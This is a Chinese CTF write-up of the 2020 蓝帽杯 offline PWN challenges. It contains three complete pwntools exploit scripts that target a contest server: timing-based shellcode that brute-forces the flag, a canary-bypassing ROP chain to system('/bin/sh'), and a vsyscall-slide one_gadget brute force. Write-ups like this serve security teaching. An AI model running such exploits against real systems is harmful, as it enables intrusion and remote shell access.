这个题目很容易看到这是执行shellcode,但是长度最大只有0x40字节。这个题目和天翼杯的safebox的题目类似,都是写入shellcode爆破flag。这里直接用的天翼杯2020_wp_by_LQers中的shellcode。
# encoding=utf-8
from pwn import *
file_path = "./chall"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
# if debug:
# p = process([file_path])
# gdb.attach(p, "b *$rebase(0xC94)")
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# one_gadget = 0x0
#
# else:
# p = remote('', 0)
# libc = ELF('')
# one_gadget = 0x0
def pwn(p, index, ch):
read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
# open
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"
# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode = asm(shellcode)
# p.sendlineafter("execution-box.n", read_next.ljust(0x30))
p.sendafter("execution-box.n", shellcode.ljust(0x40 - 14, b'a') + b'./flag')
index = 0
ans = []
while True:
for ch in range(0x20, 127):
if debug:
p = process([file_path])
else:
p = remote('8.131.246.36', 40334)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end - start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print(ans)
print("".join([chr(i) for i in ans]))
fuantoie 这个题目在edit,show函数中很多扰乱视线的东西,add,delete函数很容易就可以分析出来,并不存在漏洞。因此漏洞主要集中于edit,show这两个函数中。
经过手动测试和分析发现漏洞位于0x4011F1函数中
这里snprintf函数的返回结果是我们输入的字符串的长度,也就是input_200_buf字符串数组中的长度。因此结合后面的for循环就可以进行栈溢出。但是程序开启了canary。这里就需要绕过一下,输入+/-即可。构造rop泄漏出libc地址之后,直接rop执行system("/bin/sh")即可。
在构造的时候需要注意的一点就是,这里写入的是%d也就是四字节,因此对于一个地址我们需要分两次写入。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x04012A2nb *0x401287")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('8.131.246.36', 15823)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def add(size):
p.sendlineafter(">> ", "1")
p.sendlineafter("size?n", str(size))
def delete(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("index ?n", str(index))
def edit(index, content, test):
p.sendlineafter(">> ", "3")
p.sendlineafter("index ?n", str(index))
p.sendafter("new content ?n", content)
p.sendlineafter("pass some test firstn", str(test))
def show(index):
p.sendlineafter(">> ", "4")
p.sendlineafter("index ?n", str(index))
p_rdi_r = 0x0000000000401763
start = 0x400750
payload = "+n"*38
payload += str(p_rdi_r) + "n0n"
payload += str(elf.got['puts']) + "n0n" + str(elf.plt['puts']) + "n0n"
payload += str(start) + "n0n"
show(22)
p.sendlineafter("boyn", "a"*(38 + 8 - 1))
p.sendlineafter("lon", payload)
libc.address = u64(p.recvline().strip(b"n").ljust(8, b"x00")) - libc.sym['puts']
bin_sh_address = libc.search(b"/bin/shx00").__next__()
system_address = libc.sym['system']
payload = "+n"*38
payload += str(p_rdi_r) + "n0n"
payload += str(bin_sh_address & 0xffffffff) + "n"
payload += str(bin_sh_address >> 32)+"n"
payload += str(system_address & 0xffffffff) + "n"
payload += str(system_address >> 32) + "n"
payload += str(start) + "n0n"
show(22)
log.success("libc address is {}".format(hex(libc.address)))
p.sendlineafter("boyn", "a"*(38 + 8 - 1))
p.sendlineafter("lon", payload)
# add(0x68)
# edit(0, "a", 112)
# p.sendlineafter("I love you so muchn", "a"*0x200)
# p.sendline("a"*112)
p.interactive()
simple_canary 很明显的栈溢出漏洞,但是程序开启了pie,由于这里GLIBC<=2.23因此这里可以使用vsyscall作为滑板指令,这里和DASCTF 8月赛类似,我们先来看一下read完毕之后的栈
如果此时程序中存在后门的话,我们修改任意一个elf地址的低位指向后门函数,之后利用滑板指令滑到此处即可。但是该程序中并不存在后门。因此这里我采用的是覆写libc_start_main+240为one_gadget进行爆破。这种方式1/(16*16*16)的概率。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0x116e)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('8.131.246.36', 38989)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
''''
root@18491090a044:~/work# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
root@18491090a044:~/work#
20840
'''
# one_gadget = 0x45226
# 0x7ffff7a0d000--
one_gadget = 0xa9b226
while True:
try:
payload = b'a' * (0x20) + p64(0xdeadbeef)
payload += p64(0xffffffffff600000) * 8
payload += p64(one_gadget)[:3]
p.sendafter("input something:n", payload)
p.sendline("cat flag")
p.sendline("cat /flag")
res = p.recv()
print(res)
if b"flag" not in res:
raise EOFError
break
except KeyboardInterrupt:
exit()
except:
p.close()
p = remote('8.131.246.36', 38989)
- End - 精彩推荐 病毒作者利用破解去广告腾讯视频噱头投递CS后门 入侵检测系列1(下):基于私有协议的加密流量分析思路(Teamviewer篇) 微软和McAfee联合成立“勒索软件特别工作组” 欧洲刑警组织为执法部门推出新的解密平台
戳“阅读原文”查看更多内容 本文始发于微信公众号(安全客):2020 蓝帽杯线下赛PWN WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论